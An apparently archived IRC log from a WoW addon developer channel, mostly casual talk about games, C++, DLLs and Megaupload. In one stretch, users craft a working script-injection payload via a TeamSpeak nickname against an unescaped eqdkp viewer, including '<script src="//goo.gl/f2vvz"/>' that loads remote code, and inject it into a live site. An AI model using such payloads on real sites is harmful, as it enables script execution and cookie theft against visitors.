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| 01:38.22 | Stanzilla | so I just noticed that my keyboard has ghosting issues :< |
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| 01:50.52 | pompy | what do u mean |
| 01:51.08 | Thunder_Child | he means gosting issues |
| 01:51.12 | Thunder_Child | ghosting* |
| 01:51.41 | Thunder_Child | L2knowyourkeyboardterminology |
| 01:53.05 | pompy | http://www.microsoft.com/appliedsciences/antighostingexplained.mspx oh ok |
| 02:03.07 | Thunder_Child | it could just be me but $0.01 + 54.28 S&H seems very shady to me |
| 02:03.15 | Thunder_Child | s/to me// |
| 02:20.17 | foxlit | lua> ("oooook"):match(".%1+") |
| 02:20.17 | lua_bot | foxlit: luabot:1: invalid capture index |
| 02:20.23 | foxlit | lua> ("oooook"):match("(.)%1+") |
| 02:20.23 | lua_bot | foxlit: nil |
| 02:31.06 | Adys | http://www.reddit.com/r/spaceporn/comments/s9tn1/earth_and_the_moon_from_mars_516_387/ |
| 02:31.09 | Adys | amazing |
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| 02:35.50 | Adys | kd3: ^ |
| 02:37.02 | Adys | Cairenn|afk: Foxes are awesome: http://i.imgur.com/Gz2Og.jpg |
| 02:37.13 | Cairenn|afk | awwwww |
| 02:39.42 | starlon | pillages. |
| 02:39.46 | starlon | fear not, brow wows |
| 02:41.01 | starlon | What's FireFox doing with the pot? |
| 02:41.25 | starlon | Drugs are bad. |
| 02:41.38 | starlon | : |
| 02:41.55 | starlon | Sorry I'm really not well atm. Feeling wired but groggy. |
| 02:42.02 | starlon | Just woke up |
| 02:50.22 | Stanzilla | pompy: funny thing it, only shift+space+w does not work |
| 02:50.26 | Stanzilla | any other combination does |
| 02:50.49 | Stanzilla | damn logitech fuckers doing that on purpose so gamers have to buy their more expensive stuff |
| 02:53.43 | Arrowmaster | if your keyboard came with a usb to ps2 adapter try using it |
| 02:55.07 | Stanzilla | it didn't |
| 02:59.26 | Arrowmaster | i should probably save the stuff im downloading now to watch tomorrow during my 45 minute wait in my car before work |
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| 03:54.01 | Gnarfoz | your what |
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| 04:09.06 | Thunder_Child | actually starlon drugs are good |
| 04:09.19 | airtonix | prove it |
| 04:09.28 | Thunder_Child | improperly used drugs are bad |
| 04:09.42 | airtonix | ok so guns are good too |
| 04:09.49 | airtonix | improoperly used guns are bad |
| 04:09.58 | Thunder_Child | yep |
| 04:10.13 | airtonix | shall we take this idea deeper? |
| 04:10.33 | Thunder_Child | well airtonix, you do have one redeeming feature, you make Fisker look better by comparison |
| 04:10.50 | Thunder_Child | as long as that is not innuendo, then yes |
| 04:10.57 | airtonix | i have a box of tissues here darling |
| 04:11.09 | airtonix | looks like you're crying |
| 04:11.56 | Kraps | its pretty cool how the daily blink stopped being funny ages ago and now just rags on blizzard devs and noobs in shockingly unfunny ways |
| 04:12.51 | airtonix | taking it personally Kraps? |
| 04:13.09 | Kraps | yeah, as a blizzard dev this bothers me |
| 04:13.19 | airtonix | looool |
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| 04:21.19 | Kraps | i guess http://www.thedailyblink.com/2012/04/if-you-dont-get-it-its-probably-for-the-best/ refers to http://wow.joystiq.com/2012/04/12/ji-firepaws-beta-dialog-gets-a-rewrite/ |
| 04:32.31 | Adys | anyone here played freespace? |
| 04:32.36 | Adys | or freespace 2 |
| 04:34.06 | Thunder_Child | yes and yes, iirc |
| 04:34.25 | Thunder_Child | decent freespace was the best imo however |
| 04:34.31 | Adys | Thunder_Child: is it good, and is it a good space simulator? |
| 04:36.00 | Thunder_Child | Adys: it was good for the time. Though it is not a good 'simulator'. |
| 04:36.33 | Adys | Thunder_Child: go on? |
| 04:36.49 | Thunder_Child | Adys: with what? |
| 04:36.56 | Adys | not a good sim |
| 04:37.11 | Thunder_Child | it doesnt really reflect how it would be to fight in space |
| 04:37.43 | Thunder_Child | not that i can think of many offhand that do |
| 04:38.03 | Thunder_Child | Adys: it's rather outdated, any reas to use such an old game? |
| 04:38.07 | Thunder_Child | reason* |
| 04:38.34 | Adys | im going over pretty much all of the space simulators |
| 04:38.59 | Adys | and trying to filter some of them |
| 04:39.04 | Adys | heard good stuff about freespace |
| 04:39.30 | Thunder_Child | are you looking for a fps sim or 3rd? |
| 04:40.03 | Adys | most space sims have both |
| 04:41.11 | Adys | aight |
| 04:41.12 | Adys | http://www.gog.com/en/gamecard/freespace_2/ |
| 04:41.14 | Adys | bought it |
| 04:41.30 | Adys | its on sale along with the first one for the next 24 hours btw |
| 04:42.49 | Thunder_Child | Freelancer was rather good imo |
| 04:43.26 | Thunder_Child | so was some of the Wing Commanderseries |
| 04:43.35 | Thunder_Child | s/rs/r s/ |
| 04:45.07 | Thunder_Child | i also played quite a bit of x-wing vs Tie fighter, though that could have been from a lack of games....not sure |
| 04:52.21 | Thunder_Child | Adys: Decent is also really good, though it's not space per se, and it is on sale |
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| 05:51.01 | airtonix | curried functions... why aren't they called bolognese functions or sweet tomatoe soup functions, or peking duck with lemon honey sauce functions? |
| 05:52.03 | Corrodias | curry is superior to those things |
| 05:52.57 | tutti | googles |
| 05:53.06 | tutti | Apparently they were invented by a guy named Curry. |
| 05:53.16 | airtonix | tim curry? |
| 05:53.30 | Corrodias | aww yeh |
| 05:54.00 | tutti | Probably. |
| 06:22.33 | Corrodias | have tim curry and gilbert gottfried ever been in a show or movie together? |
| 06:25.43 | Thunder_Child | Corrodias: Aladdin |
| 06:27.17 | Thunder_Child | (The TV Show) |
| 06:27.29 | Corrodias | who was curry playing? |
| 06:27.34 | Humbedooh | yes, indeed |
| 06:28.07 | Thunder_Child | random people, he was a guest start more or less |
| 06:28.17 | Thunder_Child | "Amok Mon-Ra / Caliph Kapok / Kaleem" |
| 06:28.22 | Thunder_Child | star* |
| 06:28.56 | Corrodias | neato |
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| 07:21.34 | bluspacecow | question. if I want to chmod all files in a current folder plus in all folders under the current one would the -R option do it on OS X ? |
| 07:21.35 | bluspacecow | ie |
| 07:21.53 | bluspacecow | chmod -R <perm mask> <files> |
| 07:22.01 | Thunder_Child | try it? or is this for teh forums? |
| 07:22.10 | bluspacecow | hmmm |
| 07:22.39 | Thunder_Child | bluspacecow: https://developer.apple.com/library/mac/#documentation/Darwin/Reference/Manpages/man1/chmod.1.html |
| 07:24.14 | karl_w_w | whats the diff between normal and heroic hagara? |
| 07:24.16 | bluspacecow | -R appears to work |
| 07:24.23 | bluspacecow | sorry man page wasn't clear on that |
| 07:25.04 | Thunder_Child | yes it does |
| 07:25.12 | Thunder_Child | s/does/is/ |
| 07:25.39 | Thunder_Child | well, clear may not be the word |
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| 08:12.50 | Fisker | hey Thunder_Child |
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| 09:27.25 | airtonix | bluspacecow: osx is just bsd |
| 09:27.51 | airtonix | if not then begin righteous flaming on osx boards etc etc |
| 09:28.56 | bluspacecow | lol |
| 09:48.26 | starlon | tilts. |
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| 10:01.02 | Cide- | tits |
| 10:01.37 | starlon | hey titty kitty with the milk so good |
| 10:16.41 | karl_w_w | there is nothing i hate more about progression raiding than waiting for slow people to come back from wipes |
| 10:16.56 | Cide- | like Shirik |
| 10:16.57 | karl_w_w | u spend more time sitting around that actually pulling |
| 10:17.11 | karl_w_w | s/that/than/ |
| 10:17.25 | Cide- | I would have preferred to see s/u/you/ |
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| 10:19.35 | karl_w_w | last opull was 2 mins 30 |
| 10:19.40 | karl_w_w | now 7 minutes since the wipe |
| 10:27.19 | Cide- | agreed |
| 10:27.29 | Cide- | that and waiting for people to get well fed |
| 10:27.45 | karl_w_w | and it's all Shirik's fault? |
| 10:28.17 | Cide- | he's gotten better at it |
| 10:28.26 | Cide- | but he's still pretty bad |
| 10:28.37 | Maldivia | karl_w_w: that why you get mass res P: |
| 10:28.48 | Cide- | every 10 minutes |
| 10:29.04 | Cide- | and inevitably somebody zones in before it's cast |
| 10:35.31 | olafski | kick slow people I'd say |
| 10:35.43 | olafski | I see my gf's guild sitting around for ages between pulls too, looks agonizing |
| 10:36.36 | olafski | having to show up 3 times a week for 3.5 hours on someone else's schedule to raid with 50% morons sounds bad enough, but at least half the time they're not raiding at all :] |
| 10:37.42 | karl_w_w | we've been in here 2 hours now |
| 10:37.46 | karl_w_w | and only pulled like 10 times |
| 10:39.22 | Arrowmaster | grumbles about having to get up at 6:30am |
| 10:41.03 | olafski | sounds like sleeping in :) |
| 10:45.27 | Arrowmaster | also just heard the local bestbuy store is planning to close 3 days before D3 release |
| 10:48.08 | Maldivia | sounds like a good plan... |
| 10:57.23 | Arrowmaster | well i also have a release day shipping preorder from amazon so ill get a refund on my store preorder |
| 10:58.58 | Maldivia | I wonder what the day 1 digital to physical sales ratio will be (excluding the WoW Annual pass numbers) |
| 11:10.59 | Cide | I got the CE (and annual pass) |
| 11:11.06 | Cide | otherwise I would totally get a digital copy |
| 11:16.17 | Arrowmaster | CE and wow sub expires tomorrow |
| 11:16.20 | Arrowmaster | so no digital |
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| 11:19.51 | nevcairiel | i got a digital copy of cataclysm, normal edition boxes are not worth it. :p |
| 11:20.13 | nevcairiel | wonder when my D3 CE will arrive, maybe they do manage release day delivery, but i doubt it |
| 11:21.20 | Cide | yeah |
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| 11:21.29 | Cide | hopefully mine does |
| 11:21.39 | Cide | but annual pass makes me care exactly not at all |
| 11:21.43 | nevcairiel | its no problem if it doesnt |
| 11:21.50 | nevcairiel | can upgrade later |
| 11:21.53 | nevcairiel | and play on AP |
| 11:21.57 | Cide | yeah |
| 11:21.59 | Cide | exactly |
| 11:28.09 | Cide | do c++ stl iterators implement operator<? |
| 11:28.35 | Cide | looks like no |
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| 11:37.15 | cbreak | Cide: what for? :/ |
| 11:37.39 | Cide | actually != would have worked anyway |
| 11:41.02 | cbreak | all iterators must support == |
| 11:41.07 | cbreak | so I'd just use that. |
| 11:41.13 | Cide | I did :P |
| 11:41.15 | cbreak | they probably support != too... |
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| 12:02.36 | Maldivia | gaah... |
| 12:03.21 | Maldivia | in D3, +2-4dmg, +5% MF ring on vendor... and I don't have any gold :/ |
| 12:07.08 | cbreak | look at the bright side: D3 isn't even out yet. :) |
| 12:07.28 | Maldivia | yeah |
| 12:08.14 | Maldivia | ... and lost connection to bnet |
| 12:08.16 | Maldivia | ohh well |
| 12:15.21 | Cide | look at the bright side: your internet connection is shit |
| 12:29.08 | nevcairiel | thats bright? :d |
| 12:31.27 | cbreak | wth... amazon sells "Life Sized T-Rex Model"... |
| 12:39.29 | Fisker | umad cbreak ? |
| 12:54.50 | BlackNet | http://wetlands.simplyaquatics.com/v/weapons/kentucky-flint-45/IMG_4865.JPG.html |
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| 13:07.01 | Fisker | busts a cap in Kaelten |
| 13:07.18 | BlackNet | speaking of busting caps, i need to mail out my 1860 for some work |
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| 13:36.02 | pompy | nevcairiel: who'd u order the CE from? |
| 13:42.56 | nevcairiel | dunno |
| 13:42.58 | nevcairiel | some store |
| 13:43.54 | pompy | ah well amazon.com.uk or .de you are.. is doing release day delivery! |
| 13:47.37 | BlackNet | this guy is damn good. http://www.youtube.com/watch?v=1XGa4iLG1vU&list=UU7laXGGF2HOgG6-0nvWB8_g&index=3 |
| 13:51.16 | cbreak | BlackNet: http://www.youtube.com/watch?v=6ydeY0tTtF4 |
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| 13:58.33 | BlackNet | not bad |
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| 14:09.54 | alestane | Okay. So, I'm using XCode for a generic C++ project, and my partner is using Eclipse, and he's getting some complier issues that I'm not, so I'm trying to load the project into Eclipse to get us on the same page since he doesn't have access to a Mac. |
| 14:10.15 | alestane | And Eclipse is unable to resolve the symbol "std". WTF? |
| 14:12.11 | alestane | Well, Google is turning up some leads, anyway. |
| 14:17.48 | Fisker | hey nevcairiel |
| 14:17.50 | Fisker | you ordered CE? |
| 14:18.10 | nevcairiel | of course |
| 14:19.48 | BlackNet | http://www.treeclimber.com/reloads/EllieCobalt.jpg |
| 14:22.56 | karl_w_w | your daughter BlackNet? |
| 14:23.00 | karl_w_w | you must be so proud |
| 14:23.16 | Stanzilla | http://images.4chan.org/v/src/1334491085390.png |
| 14:24.09 | BlackNet | no |
| 14:24.55 | BlackNet | Stanzilla they do have leave time and can and wil meet family durring that time |
| 14:25.29 | Fisker | old Stanzilla |
| 14:25.55 | Stanzilla | OK OK |
| 14:29.23 | alestane | Okay. So far Google has mostly turned up other people who have the same problem without clear solutions. Anyone have a clue why Eclipse's C++ environment cannot resolve the symbol 'std'? This seems like something that really ought to work out of the box. |
| 14:29.32 | Fisker | hello Stanzilla |
| 14:29.38 | Fisker | you might just die suddenly |
| 14:29.43 | BlackNet | it needs some antibiotics |
| 14:30.28 | Fisker | hey Stanzilla |
| 14:30.53 | Stanzilla | hey Fisker |
| 14:32.01 | Fisker | now what? |
| 14:32.31 | Stanzilla | dunno |
| 14:32.32 | Stanzilla | tea? |
| 14:37.02 | Fisker | idk |
| 14:38.12 | karl_w_w | stds are bad |
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| 15:14.15 | starlon | hippity hops. |
| 15:14.22 | starlon | can't stop. |
| 15:16.25 | starlon | it all comes to a close this winter |
| 15:16.37 | starlon | dont' bother packing |
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| 15:28.54 | starlon | Arizona's a noob. |
| 15:29.06 | starlon | noobest noob that ever was |
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| 15:37.06 | karl_w_w | i have no more reputations left to grind |
| 15:37.13 | karl_w_w | my life is empty :( |
| 15:41.34 | TMc51 | You can always grind rep with me. Your first task is to get me a pastrami sammich. |
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| 15:46.38 | karl_w_w | gives TMc51 |
| 15:46.48 | karl_w_w | a pastrami sandwich |
| 15:46.58 | karl_w_w | with only a little cyanide |
| 15:48.55 | TMc51 | mmmm mmmm love me some rat poison in my sammiches |
| 15:50.13 | kd3 | huh, wow. "To think that this is not much different than the resolution of images that Earth-based optical telescopes were getting of Mars a hundred years ago. Our species is now sending the equivalent of that equipment /to/ Mars." |
| 15:50.23 | kd3 | in re this image: http://www.nasa.gov/images/content/33742main_MM_Image_Feature_56_rs4.jpg |
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| 15:55.16 | Arrow|phone | So im siting in a panera bread taking my 2.5 hour paid lunch break :) |
| 15:55.32 | bluspacecow | lolz |
| 15:55.39 | bluspacecow | your sitting in a loaf of bread ? |
| 15:56.08 | Arrow|phone | Google it |
| 15:56.16 | bluspacecow | nah |
| 15:56.19 | bluspacecow | fraps it! |
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| 16:00.54 | starlon | eat it |
| 16:01.01 | starlon | you need nourishment |
| 16:02.50 | Maldivia | bluspacecow: there are better things to put in a bread: http://myfoodlooksfunny.files.wordpress.com/2011/02/a472ca5d-3d2b-4a3c-88b1-51b57f135c64.jpg |
| 16:02.50 | Arrow|phone | Nah im already fat |
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| 16:05.36 | Fisker | But the ship can't sink |
| 16:09.05 | haste | sinks Fisker. |
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| 16:17.48 | bluspacecow | http://us.battle.net/wow/en/forum/topic/4427536427 |
| 16:17.56 | bluspacecow | LOL @ getting all stuck up over semantics |
| 16:18.01 | bluspacecow | potato potatoe |
| 16:18.36 | nevcairiel | those terms are clearly defined anyway |
| 16:18.40 | nevcairiel | Alpha = internal testing |
| 16:18.43 | nevcairiel | Beta = external testing |
| 16:18.47 | nevcairiel | its as simple as that |
| 16:18.54 | bluspacecow | *shrug* |
| 16:19.09 | cbreak | alpha and beta are not really related with internal or external |
| 16:19.18 | cbreak | it's just that betas are generally feature complete |
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| 16:19.22 | cbreak | and alphas are not. |
| 16:20.09 | nevcairiel | who says betas have to be feature complete? :d |
| 16:20.14 | Cide | You must Type with random capitalization or you can Go to Hell |
| 16:20.57 | Adys | kd3: I linked that and pinged you like 10 hours ago |
| 16:21.37 | nevcairiel | I still wonder how people manage to mess up the downloader anyway |
| 16:21.51 | nevcairiel | it downloaded faster for me then any previous downloader =p |
| 16:22.18 | bluspacecow | brb hungry |
| 16:23.43 | Maldivia | nev: the new BNet agent has its kinks, earlier in the D3 beta, there were reports that if you had multiple network interface active, then it sometimes would pick the wrong one, and get stuck |
| 16:24.25 | nevcairiel | they should rather be glad they introduce something like this now, in the beta, rather then just adding it onto live some day. :P |
| 16:24.45 | nevcairiel | although it will hit live on the 15th of may, i assume |
| 16:24.50 | cbreak | why the hell would a blizzard program care about network interfaces anyway? |
| 16:25.02 | cbreak | I really wonder what kind of stupidity they tried this time... |
| 16:25.12 | nevcairiel | probably has to figure out your IP for the p2p stuff |
| 16:25.22 | nevcairiel | or something |
| 16:25.36 | cbreak | and using the interfaces for that stupid anyway... |
| 16:25.46 | cbreak | the only reliable way to get your IP is to ask something outside |
| 16:25.54 | cbreak | in these days of NAT and co. |
| 16:25.55 | nevcairiel | maybe the reports were just wrong anyway |
| 16:26.00 | nevcairiel | users are mostly stupid |
| 16:26.07 | cbreak | that is true. |
| 16:26.31 | Maldivia | also, uses who had the OpenSSL dlls have also been having issues |
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| 16:26.57 | Maldivia | or SSLeay |
| 16:28.01 | cbreak | wonder why... I bet it's a windows problem :) |
| 16:28.02 | Ressy | Panda Security uses it, so it interferes with installing Beta |
| 16:28.15 | nevcairiel | thats a simple enough mistake to make, setup wrong dll include path, so it prefers the global ones over their own |
| 16:28.29 | nevcairiel | because by default it tries to use global over locale :d |
| 16:28.33 | cbreak | oh, security software. Those things do worse things than real malware... |
| 16:28.34 | nevcairiel | -e |
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| 16:29.02 | Maldivia | nevcairiel: not to mention lazy programmers, who just install dlls in system32? |
| 16:29.26 | Ressy | Some other software has been lazy and just been instaling it in C:\Windows\ |
| 16:29.32 | Ressy | we've seen that a bit |
| 16:29.52 | nevcairiel | anyway, the point is, the installer and launcher also needs beta testing |
| 16:30.04 | nevcairiel | so complaining that its broklen is just stupid :p |
| 16:30.19 | Maldivia | agree |
| 16:31.09 | cbreak | where's the proper way to install DLLs? |
| 16:31.19 | cbreak | of course, you can install them side-by-side with the program |
| 16:31.29 | cbreak | but then the dynamic sharing part of the DLLs is kind of pointless |
| 16:33.37 | Adys | So this happened: https://github.com/farbrausch/fr_public |
| 16:33.42 | Maldivia | the problem with the "dynamic sharing part" of dlls, is that they are not version controlled (or rather, wasn't previously), so blahblah.dll - is that version 1.2, version 1.3, version 2.0 or? and are they compatible with eachother |
| 16:34.08 | Adys | Maldivia: blahblahexexexexexex.dll |
| 16:34.24 | Maldivia | Adys: well, that's the Win32 API way of handling it :P |
| 16:34.34 | nevcairiel | windows offers ways to install dlls versioned, but very few things use it |
| 16:34.38 | Adys | Maldivia: it's how windows devs would do it if they could |
| 16:34.39 | nevcairiel | mostly only MS itself |
| 16:34.59 | nevcairiel | most people just ship private versions of dlls these days |
| 16:35.31 | Maldivia | it's not as if a mew MB of DLLs matter much |
| 16:36.05 | Maldivia | nevcairiel: dlls versioned... you mean the clusterfuck that is winsxs ? |
| 16:36.11 | nevcairiel | yea :D |
| 16:36.19 | nevcairiel | The C runtime uses it |
| 16:36.23 | nevcairiel | and the .net things |
| 16:36.29 | nevcairiel | other then that, its really not used much |
| 16:39.23 | Fisker | Hey |
| 16:40.49 | bluspacecow | *chews it* |
| 16:40.51 | bluspacecow | hay hay |
| 16:46.39 | Stanzilla | man eqdkp is sooo bad |
| 16:47.14 | Stanzilla | I just joined a teamspeak server with "<!-- ''" as my name and the viewer does not escape it... |
| 16:47.26 | Stanzilla | so it just kills the rest of the viewing box :/ |
| 16:47.53 | foxlit | next step: join a teamspeak server with <script>steal_all_your_cookies() as your name |
| 16:48.06 | Stanzilla | I tried that |
| 16:48.14 | Stanzilla | but teamspeak does not allow such long names :p |
| 16:49.47 | Cide | <script src="goo.gl/something"></script> |
| 16:49.56 | Stanzilla | too long |
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| 16:50.36 | Cide | I know for a fact that a 20 character name works |
| 16:50.54 | foxlit | abuse multiple connections. |
| 16:50.57 | Stanzilla | gimme a cool script then and I try |
| 16:51.07 | Stanzilla | oh god foxlit |
| 16:51.10 | Cide | alert("foo") |
| 16:51.12 | Stanzilla | didn't even think of that |
| 16:51.31 | Cide | as proof of concept |
| 16:53.36 | Stanzilla | nah |
| 16:53.38 | Stanzilla | too long |
| 16:53.50 | Cide | hm? |
| 16:53.56 | Stanzilla | i only get till "<script src="goo.gl/f2vvz"</sc |
| 16:54.11 | foxlit | can't you xml self-close that tag? |
| 16:54.17 | Cide | probably |
| 16:54.20 | Cide | but you probably also need http:// |
| 16:54.26 | foxlit | / |
| 16:54.29 | foxlit | // |
| 16:54.40 | Stanzilla | so what? |
| 16:54.59 | Cide | <script src="//goo.gl/f2vvz"/> |
| 16:55.04 | Cide | if I understood foxlit correctly |
| 16:55.24 | haste | you did |
| 16:55.28 | Stanzilla | HAHAHA |
| 16:55.29 | Stanzilla | that works |
| 16:55.36 | haste | it's the syntax for relative protocol |
| 16:55.37 | foxlit | you can't actually self-close script per the XHTML spec |
| 16:55.45 | Cide | fuck xhtml |
| 16:56.43 | Stanzilla | no i need to inject some funny stuff |
| 16:58.51 | rtharper | Cide: do you use gtalk? |
| 16:58.55 | Cide | yeah |
| 16:59.06 | Cide | I im'd you my email |
| 16:59.14 | Cide | pm'd I mean |
| 17:00.04 | Stanzilla | oh man, I injected a snow script now |
| 17:00.08 | Stanzilla | laughing so hard |
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| 17:01.30 | Arrow|phone | Bored |
| 17:03.01 | Mr_Rabies | i really hope they remove the zone restriction on chat channels at some point in MoP |
| 17:04.04 | Mr_Rabies | half the reason i camp out in stormwind is because i feel like i'm out on my own if i ever leave town, no one ever talks in general chat |
| 17:06.00 | Fisker | oh you gonna cwy Stanzilla ? |
| 17:06.45 | Stanzilla | no |
| 17:07.22 | Fisker | come on let me see you cwy |
| 17:20.18 | alestane | My thinking in other languages has become way too influenced by upvalues. |
| 17:21.44 | Arrow|phone | Finally found time to download a copy of my car radio manual and figure out how to set the damn clock while im waiting here |
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| 17:40.33 | foxlit | http://www.youtube.com/watch?v=zul8ACjZI18&feature=related&t=5m15s |
| 17:40.35 | foxlit | we're doomed. |
| 17:43.03 | karl_w_w | ah yes |
| 17:43.10 | karl_w_w | car radio clocks |
| 17:43.14 | karl_w_w | and epic irc lag |
| 17:43.25 | karl_w_w | ~ping |
| 17:43.25 | purl | ~pong |
| 17:43.55 | ccox | I wonder how much they pay the little guy in the suit? |
| 17:57.44 | Mr_Rabies | that reminds me of the beginning of gundam F91 :D |
| 17:58.02 | Mr_Rabies | except his wrist stopped at the normal human range instead of rotating a full 360 degrees |
| 18:00.10 | AcidWeb | I can already see a bloody rebellion of gold farming robots. |
| 18:01.15 | Mr_Rabies | NASA's robonaut 2 is pretty rad |
| 18:01.54 | Mr_Rabies | http://www.youtube.com/watch?v=glLX_sKTU2I |
| 18:02.34 | Mr_Rabies | at first i had no clue why they have a humanoid robot whereas a non-humanoid one could do the job better |
| 18:02.55 | olafski | is there some kind of wintergrasp exploit that allows you to bypass the walls as attacker? I just lost WG without any of the walls being even damaged |
| 18:03.24 | Mr_Rabies | but then i realized how much of a premium personal space is up there, and it's way easier to make a robot that wields tools designed for human hands than have two sets of tools for everything |
| 18:03.46 | Mr_Rabies | or not necessarily easier, but way less space-consuming |
| 18:04.13 | Mr_Rabies | huh, i wonder if you log out inside the chamber if it still auto ports you or if you'd have time upon logging in to click it, olafski? |
| 18:04.38 | Mr_Rabies | though i'd make it so the relic wouldn't even spawn until the wall was broken if i were blizzard |
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| 18:18.55 | AcidWeb | http://www.youtube.com/watch?v=qXp8T097vjc&feature=player_embedded |
| 18:18.57 | AcidWeb | ... |
| 18:21.24 | Fisker | wqwqhey AcidWeb |
| 18:31.03 | karl_w_w | wqwqno Fisker |
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| 18:37.29 | karl_w_w | i want oreos |
| 18:37.49 | karl_w_w | what a strange impulse, oreos arent even that great |
| 18:39.15 | Fisker | wqwqsure karl_w_w |
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| 18:44.49 | thubble | <PROTECTED> |
| 18:46.42 | thubble | <PROTECTED> |
| 18:52.57 | alestane | You can do something like that with two macros. |
| 18:53.24 | alestane | One macro sets the other macro to target the thing you currently have targeted. |
| 18:53.43 | alestane | Or, you could do this with a small add-on created to do it in one button press. |
| 18:54.03 | alestane | Neither is very good at working if you're already in combat when you hit it the first time. |
| 18:54.22 | alestane | (Although the custom add-on approach *might* be able to.) |
| 18:55.33 | nevcairiel | This is the kind of thing we have combat restrictions for to block, really. :d |
| 18:58.54 | thubble | <PROTECTED> |
| 18:59.59 | thubble | <PROTECTED> |
| 19:00.18 | alestane | Neither is trivial. |
| 19:00.45 | alestane | I had a macro designed to do something like the first pre-written. |
| 19:00.57 | alestane | It was on the old forums and I'm not sure it's still accessible. |
| 19:01.24 | thubble | <PROTECTED> |
| 19:01.35 | thubble | <PROTECTED> |
| 19:02.50 | alestane | This was my old link to it, but I don't think it's still out there: http://forums.worldofwarcraft.com/thread.html?topicId=2518015964&postId=24711529113&sid=1#13 |
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| 20:20.44 | purl | ACTION attaches a staple gun to a pneumatic nail gun via duct tape, staples Cairenn quite well, and hands Cairenn to tc-away |
| 20:33.58 | Fisker | Super TC |
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| 22:07.33 | starlon | buzzzzz |
| 22:07.36 | starlon | tttt |
| 22:07.39 | starlon | t |
| 22:09.51 | karl_w_w | I think the starlon is malfunctioning again |
| 22:11.16 | starlon | heh |
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| 22:35.33 | Thunder_Child | ~lart Fisker |
| 22:35.33 | purl | smacks Fisker up side the head with a clue-by-4 |
| 22:37.37 | cbreak | the US government really is a bunch of cowards, seems they are trembling in their boots in fear of Megaupload |
| 22:38.08 | cbreak | now they even try to prevent them from hireing laywers, and even if they allow them, the laywers may not have any experience with copyright cases. |
| 22:42.11 | Dagmar | Someone made a "political" decision that has fucked their career |
| 22:42.37 | Dagmar | THey should have never pulled that stunt on Megaupload, and now those bribes are going to cost some LEO people their jobs. |
| 22:43.47 | cbreak | well, maybe they can pull through |
| 22:44.00 | cbreak | and just sentence Megaupload to death without them even allowing to defend themselves |
| 22:44.10 | Dagmar | Not gonna happen |
| 22:44.36 | Dagmar | That it's _hella expensive_ to keep that data in limbo while people frantically try to pull a justifcation for what they did out of their asses is making things fun |
| 22:45.35 | Dagmar | That'll be the thing that will cost some people their careers. Their departments won't be able to afford to pay them. |
| 22:46.19 | cbreak | that's why the government says "no megaupload, you may NOT pay for preserving the data. Let's just delete it" |
| 22:46.43 | Dagmar | ...which will result in a swarm of lawsuits |
| 22:46.58 | Dagmar | There's thousands of people with completely legitimate data on there, angry as hell |
| 22:46.58 | cbreak | how? Megaupload can't have any lawyers either |
| 22:47.20 | Dagmar | You could make a class-action out of the poor handling of this in a weekend |
| 22:47.22 | cbreak | and the customers of MU can only sue MU which is protected by a EULA |
| 22:47.40 | Dagmar | Yes, MY has a hold-harmless. Hamfisted investigators don't. |
| 22:47.45 | Dagmar | s/MY/MU/ |
| 22:48.04 | cbreak | I am pessimistic. I don't think this will end well for MU. |
| 22:48.15 | cbreak | and I don't expect the US Govermnent to get into too much trouble |
| 22:48.29 | Dagmar | Oh it probably won't end well for MU, but I doubt this will result in them pulling that shit on other companies |
| 22:48.45 | Dagmar | Someone at Universal is probably planning to change their name and leave the country over this |
| 22:48.47 | cbreak | maybe NZ doesn't send .com over to the US, but even then, MU will probably die. |
| 22:52.19 | Dagmar | MU will never be able to recover from this |
| 22:52.44 | Dagmar | Their best outcome will probably be to spend the next decade trying to sue the people responsible for causing this problem |
| 22:52.55 | Dagmar | No one's business continuity plans account for this kind of interruption |
| 22:57.24 | mckenziemc | what's up? |
| 22:58.15 | Ressy | Apparently, the US gov is going after Carpathia next - MU's host. |
| 22:58.39 | Dagmar | Well, it's a matter of they're being very clear about this. |
| 22:58.49 | Dagmar | They were serving that data in good faith. |
| 22:58.58 | Dagmar | ...and it is _way_ more than they can afford to let sit idle. |
| 22:59.03 | Ressy | http://torrentfreak.com/us-megauploads-hosting-company-might-be-sued-next-120415/ |
| 22:59.10 | Dagmar | It will destroy them just trying to comply with the gov't request. |
| 23:00.12 | Dagmar | The underlying threat there is that they're basically being told to stop raising a stink "or else". |
| 23:00.28 | bleeter | 15 falcons per each A340 http://i.imgur.com/8DVCC.jpg |
| 23:00.36 | Dagmar | The people responsible for the mess want this swept under the rug |
| 23:01.05 | Dagmar | Frankly, I think the solution is obvious. |
| 23:01.14 | Dagmar | Slap Universal with a RICO investigation. |
| 23:01.27 | bleeter | RICO? |
| 23:01.31 | Dagmar | No doubt about it, this wasn't about piracy. |
| 23:01.52 | Dagmar | This was about MegaUpload threatening Universal's business, specifically that Universal is a big distribution company. |
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| 23:02.09 | Dagmar | People go to them because they can get a product around the world quickly. |
| 23:02.39 | Dagmar | MegaUpload was flat out saying "We can do that too and we won't rob you blind." |
| 23:03.11 | starlon | madness |
| 23:03.40 | Dagmar | You saw the ad that Universal abused their access into YouTube to block, right? |
| 23:04.18 | Dagmar | They had a bunch of _respected_ artists and musicians literally singing their praises. |
| 23:05.30 | Ressy | Yeah.. They had to stop that lawsuit beccause of the raid |
| 23:05.39 | Ressy | because they couldn't pay for it. Total bullshit |
| 23:06.12 | Ressy | I'd used megaupload to host my manual wow patch .zips |
| 23:07.14 | Dagmar | Yeah it does look pretty fucking suspicious how that worked out |
| 23:17.23 | Stanzilla | Fisker: we killed the first tendon in one go today, the others not really :o |
| 23:34.21 | starlon | zzzilts. |
| 23:34.30 | starlon | I'm in no mood to code I guess. |
| 23:35.33 | Stanzilla | I'm hungry |
| 23:36.23 | starlon | It'll only lead to poop. |
| 23:37.15 | starlon | does his best Marvin impersonation. |
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